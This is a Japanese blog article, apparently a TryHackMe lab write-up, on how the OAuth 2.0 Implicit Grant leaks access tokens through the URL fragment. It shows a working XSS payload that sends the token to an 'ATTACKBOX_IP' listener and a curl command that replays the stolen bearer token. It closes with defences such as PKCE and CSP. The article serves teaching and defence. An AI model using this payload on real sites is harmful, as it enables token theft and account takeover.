0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】OAuth 2.0 Implicit Grant はこうして破られる

Last updated at Posted at 2025-11-19

はじめに

この記事でわかること

  • Implicit Grant がなぜ危険なのか
  • URL フラグメントに露出したトークンがどう盗まれるか
  • XSS と組み合わせた「実際の攻撃手法」
  • 攻撃者と被害者の視点で流れを完全再現
  • OAuth 2.0 Security BCP がなぜ Implicit Flow を廃止したのか
  • PKCE(Authorization Code Flow)への移行理由

1. Implicit Grant はなぜ危険なのか?

Implicit Grant Flow(Implicit Flow)は元々、
SPA(Single Page Application)向けの簡易フローとして作られました。

しかし時代は変わり、今では 非推奨
OAuth 2.0 Security BCP では完全に 廃止方向 に向かっています。

Implicit Grant の構造的弱点

弱点 内容
アクセストークンが URL に露出する callback#access_token=xxxx の形でフロントへ丸見え
XSS に極端に弱い JavaScript から window.location.hash で閲覧可能
HTTPS 必須なのに徹底されないことが多い MiTM がアクセストークンを盗聴可能
redirect_uri のバリデーションが甘いと致命傷 攻撃者ドメインへトークン送信させられる
localStorage などに保存しがち XSS でそのまま盗まれる

つまり、Implicit Flow は「攻撃者にトークンを献上するフロー」。
その場で即アウト。OAuth が避けたい全てが詰まっている。


2. 実際の攻撃:Implicit Grant × XSS の合わせ技

ここからは TryHackMe の実演環境を使い、
被害者 → 攻撃者 の視点で順に追いかけます。


2.1 被害者側:普通のユーザーはこう動く

被害者は以下にアクセス:

http://factbook.thm:8080

「Sync Statuses from CoffeeShopApp」ボタンを押すと、
アプリは Implicit Flow 用の URL を生成してリダイレクトします:

var client_id = 'npmL7WDiRo...';
var redirect_uri = 'http://factbook.thm:8080/callback.php';
var auth_url = "http://coffee.thm:8000/o/authorize/";

var url = auth_url +
    "?response_type=token" +
    "&client_id=" + client_id +
    "&redirect_uri=" + encodeURIComponent(redirect_uri);

window.location.href = url;

ログイン後、認可サーバは被害者を次のようにリダイレクトします:

http://factbook.thm:8080/callback.php#access_token=XXXXX&token_type=Bearer
ここが最大の弱点

#access_token=... が JS に丸見え


2.2 攻撃者が使う XSS ペイロード

攻撃者が用意するコード(被害者のステータス欄に入力させる):

<script>
var hash = window.location.hash.substr(1);
var result = hash.split('&').reduce(function (res, item) {
    var parts = item.split('=');
    res[parts[0]] = parts[1];
    return res;
}, {});
var accessToken = result.access_token;

var img = new Image();
img.src = 'http://ATTACKBOX_IP:8081/steal_token?token=' + accessToken;
</script>

2.3 ペイロードの仕組みを噛み砕いて理解する

1. window.location.hash を取得

例:

#access_token=XYZ123&token_type=Bearer

2. 先頭の # を削る

access_token=XYZ123&token_type=Bearer

3. & で分割してパース

→ JS オブジェクトへ:

{
  access_token: "XYZ123",
  token_type: "Bearer"
}

4. 攻撃者サーバへ漏洩

Image オブジェクトの src
http://ATTACKBOX:8081/steal_token?token=XYZ123 を突っ込むと…

ブラウザ「おっ、画像か!とりあえず GET 送るわ!」

→ この GET が Attackbox のログに残る。


2.4 攻撃者のサーバログにはこう出る

攻撃者側で実行:

python3 -m http.server 8081

被害者がページを読み込むと…

GET /steal_token?token=2aauviER3lUOev8wNmXQ9B4GNUoadE HTTP/1.1

ログにトークンが出ている=攻撃成功。


2.5 盗んだトークンで何ができる?

例えば API 状態を読む/書くなど、そのユーザーとして行動できる。

例:

curl -H "Authorization: Bearer 2aauviER3lUOev8wNmXQ9B4GNUoadE" \
    http://coffee.thm:8000/api/status/

→ 完全に「被害者としての操作」が可能。


3. なぜ Implicit Flow は廃止なのか?

OAuth Security BCP ではこう指定:

Implicit Flow は利用すべきではない。
Authorization Code + PKCE を使用すること。

PKCE の改善ポイント

改善点 説明
アクセストークンがフロントに露出しない URL に #access_token が出ない
認可コードには PKCE が付く 攻撃者がコードを盗んでも変換できない
HTTPS+サーバ側管理で堅牢化 JS からアクセストークンを触らない設計が可能

SPA でも PKCE が標準(Auth0, Google, Cognito など全部これ)。


4. 実務で必要な防御策まとめ

分類 防御策
XSS 対策 出力エスケープ、CSP、インライン JS 禁止
通信保護 HTTPS 強制、HSTS
OAuth 設計 Implicit 廃止 → Code + PKCE
トークン保管 localStorage に保存しない、Cookie(HttpOnly, Secure)活用
redirect_uri 完全一致、ワイルドカード禁止

まとめ

今回のデモは一言でいうと:

「XSS+Implicit Flow が揃えば、アクセストークンの窃取は1行レベル」

今のセキュリティ標準では、
SPA であっても必ず Authorization Code + PKCE を使うことが必須。
Implicit を使う理由はもう無い。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?